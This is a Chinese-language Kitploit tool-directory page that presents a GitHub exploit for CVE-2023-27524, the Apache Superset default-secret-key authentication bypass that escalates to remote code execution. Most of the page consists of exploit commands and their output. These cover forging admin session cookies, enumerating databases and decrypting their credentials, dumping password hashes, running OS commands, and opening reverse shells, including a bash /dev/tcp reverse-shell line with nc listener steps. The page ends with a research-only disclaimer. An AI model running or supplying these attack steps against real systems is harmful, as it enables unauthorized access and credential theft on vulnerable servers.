Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-27524-Apache-Superset-Auth-Bypass-and-RCE — 针对 Apache Superset 认证绕过与远程代码执行漏洞 CVE-2023-27524 的利用工具。伪造会话cookie,枚举数据库/用户,执行操作系统命令,并在易受攻击的实例上打开反弹shell。 | Kitploit
工具/GitHubGitHub/jakabakos/cve-2023-27524-apache-superset-auth-bypass-and-rce
身份验证与授权漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制远程访问工具数据库安全

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHub
jakabakos/cve-2023-27524-apache-superset-auth-bypass-and-rce

CVE-2023-27524-Apache-Superset-Auth-Bypass-and-RCE

针对 Apache Superset 认证绕过与远程代码执行漏洞 CVE-2023-27524 的利用工具。伪造会话cookie,枚举数据库/用户,执行操作系统命令,并在易受攻击的实例上打开反弹shell。

查看仓库
2882年前Kitploit 审核通过

CVE-2023-27524:Apache Superset 身份验证绕过与远程代码执行

Apache Superset 是一款广泛使用的开源数据可视化与探索工具,已被发现存在可能导致身份验证绕过和远程代码执行(RCE)的安全弱点。这些漏洞可能使恶意行为者获取目标服务器的管理员权限,从而收集用户凭据并可能危及数据安全。

具体的安全问题是一个不安全的默认配置漏洞,编号为 CVE-2023-27524。

根本原因在于安装时设置了可预测的 Flask 密钥,影响了大量暴露在外的 Apache Superset 实例。尽管已采取了一些缓解措施,但对于尚未更新配置的用户而言,此漏洞仍然是严重的隐患。

该问题可升级为远程代码执行。本漏洞利用工具在原始版本的基础上增加了此功能。

官方漏洞描述:

Apache Superset 2.0.1 及之前版本存在会话验证攻击。如果安装时未按照安装说明更改默认的 SECRET_KEY 配置,攻击者可进行身份验证并访问未授权资源。这不会影响已更改 SECRET_KEY 默认值的 Superset 管理员。

博客文章

本漏洞利用脚本是为 vsociety 上的一次 CVE 分析而编写的。

使用方法

安装 PIP 包:

root@kitploit:~
pip3 install -r requirements.txt                                                                

用法:

root@kitploit:~
usage: exploit.py [-h] --url URL [--id ID] [--wordlist WORDLIST] [--validate] [--enum-dbs] [--enum-users] [--cmd CMD]
                  [--revshell REVSHELL] [--db-host]

options:
  -h, --help            显示此帮助信息并退出
  --url URL, -u URL     主机 URL
  --id ID               用于伪造会话 Cookie 的用户 ID。默认值=1
  --wordlist WORDLIST, -w WORDLIST
                        指定密码字典文件(默认为 10.txt)
  --validate, -v        通过登录尝试验证漏洞是否存在
  --enum-dbs, -dbs      枚举数据库
  --enum-users, -eu     枚举用户
  --cmd CMD, -c CMD     在数据库服务器上执行自定义操作系统命令
  --revshell REVSHELL   指定 IP:端口 用于反向 Shell
  --db-host             在数据库服务器上执行命令或打开反向 Shell

示例

验证漏洞并使用自定义密码字典尝试破解应用密钥

root@kitploit:~
# python3 exploit.py --url http://localhost:8088 -v -w 10k_most_common_passwords.txt 
[+] 找到会话 Cookie。
[+] 解码后的会话 Cookie: <已编辑>
[+] 使用 '10k_most_common_passwords.txt' 作为密码字典。
[+] Superset 实例存在 CVE-2023-27524 漏洞。
[+] 使用默认 SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
[+] 为用户 1 伪造的会话 Cookie: <已编辑>
[+] Superset 版本: 2.0.1
[+] 登录成功。漏洞已验证。

枚举数据库

root@kitploit:~
# python3 exploit.py -u http://localhost:8088 --enum-dbs      
[+] 找到会话 Cookie。
[+] 解码后的会话 Cookie:
    {'csrf_token': '5d4c9ad6caf94bc1c652b0fc8e8739d19c45c05a', 'locale': 'en'}
[+] 使用默认密钥。
[+] Superset 实例存在 CVE-2023-27524 漏洞。
[+] 找到密钥: "b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'"
[+] 为用户 1 伪造的会话 Cookie:
    eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZPsQ6Q.nKTBZiUq-Cu0iWSLQIUtB2W9HnM
[+] 版本 2.0.1 似乎存在漏洞。
[+] 通过 API 枚举数据库...
[+] 找到数据库: "examples" 密码: "superset"
[+] 找到数据库: "SQLite"
[+] 枚举数据库连接数据并尽可能破解密码...
+-----------------+---------------------------------------------------+--------------------------+----------------------+
| database_name   | sqlalchemy_uri                                    | password                 | decrypted_password   |
|-----------------+---------------------------------------------------+--------------------------+----------------------|
| examples        | postgresql://superset:XXXXXXXXXX@db:5432/superset | MAqp6AIikZpDM5bMH4MMgA== | superset********     |
| SQLite          | sqlite+pysqlite:////app/superset_home/superset.db |                          |                      |
+-----------------+---------------------------------------------------+--------------------------+----------------------+
[+] 数据库枚举过程完成。

枚举 Superset 用户

root@kitploit:~
# python3 exploit.py -u http://localhost:8088 --enum-users              
[+] 找到会话 Cookie。
[+] 解码后的会话 Cookie:
    {'csrf_token': '2a3adb09bac36c330a77c74da1cca27c431779e8', 'locale': 'en'}
[+] 使用默认密钥。
[+] Superset 实例存在 CVE-2023-27524 漏洞。
[+] 找到密钥: "b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'"
[+] 为用户 1 伪造的会话 Cookie:
    eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZPsRCQ.qeci7JgO5Lb4AwexB0Qojp5RDbs
[+] 版本 2.0.1 似乎存在漏洞。
[+] 检查现有的元数据库连接...
[+] 成功修改了 ID 为 1 的数据库设置。
[+] 成功修改了 ID 为 2 的数据库设置。
[+] 已添加 ID 为 2 的 Superset 元数据连接。
[+] 尝试枚举 Superset 用户...
[+] 结果:
+------------+--------------------------------------------------------------------------------------------------------+
| username   | password                                                                                               |
|------------|--------------------------------------------------------------------------------------------------------|
| admin      | pbkdf2:sha256:260000$z5y5YnluWzyx4kd2$33c40dfefdea9aedef6ed171a941492516ba49c1ed8ed740d7e05446ce639c0e |
+------------+--------------------------------------------------------------------------------------------------------+

执行自定义操作系统命令

在 Superset 服务器上:

root@kitploit:~
# python3 exploit.py --url http://localhost:8088 --cmd 'bash -i >& /dev/tcp/<IP>/4242 0>&1'

注意:此情况下输出尚不可见。

在数据库服务器上:

root@kitploit:~
# python3 exploit.py -u http://localhost:8088 --cmd 'cat /etc/passwd' --db-host

[+] 找到会话 Cookie。
[+] 解码后的会话 Cookie:
    {'csrf_token': 'c2154d7077f507bd69c791f9d6de49115ba290a3', 'locale': 'en'}
[+] 使用默认密钥。
[+] Superset 实例存在 CVE-2023-27524 漏洞。
[+] 找到密钥: "b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'"
[+] 为用户 1 伪造的会话 Cookie:
    eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZPsRMw.haTjE2XBuVjamMvsdg7SemBr3Ig
[+] 版本 2.0.1 似乎存在漏洞。
[+] 尝试在数据库服务器上执行命令...
[+] 成功修改了 ID 为 1 的数据库设置。
[+] $ cat /etc/passwd
+-----------------------------------------------------------------------------------+
| cmd_output                                                                        |
|-----------------------------------------------------------------------------------|
| root:x:0:0:root:/root:/bin/bash                                                   |
| daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin                                   |
| <已编辑>                                                                        |
| postgres:x:999:999::/var/lib/postgresql:/bin/bash                                 |
+-----------------------------------------------------------------------------------+

打开反向 Shell

在 Superset 服务器上:

root@kitploit:~
# 终端 1
nc -lvnp [端口]

# 终端 2
python3 exploit.py -u http://localhost:8088 --revshell [IP]:[端口]

在数据库服务器上:

root@kitploit:~
# 终端 1
nc -lvnp [端口]

# 终端 2
python3 exploit.py -u http://localhost:8088 --revshell [IP]:[端口] --db-host

免责声明

本漏洞利用脚本仅用于研究目的以及开发有效的防御技术。其并非用于任何恶意或未经授权的活动。脚本作者及所有者对因使用本软件造成的任何误用或损害不承担任何责任。请用户负责任地使用本软件,并遵守适用的法律法规。请谨慎使用。

下载工具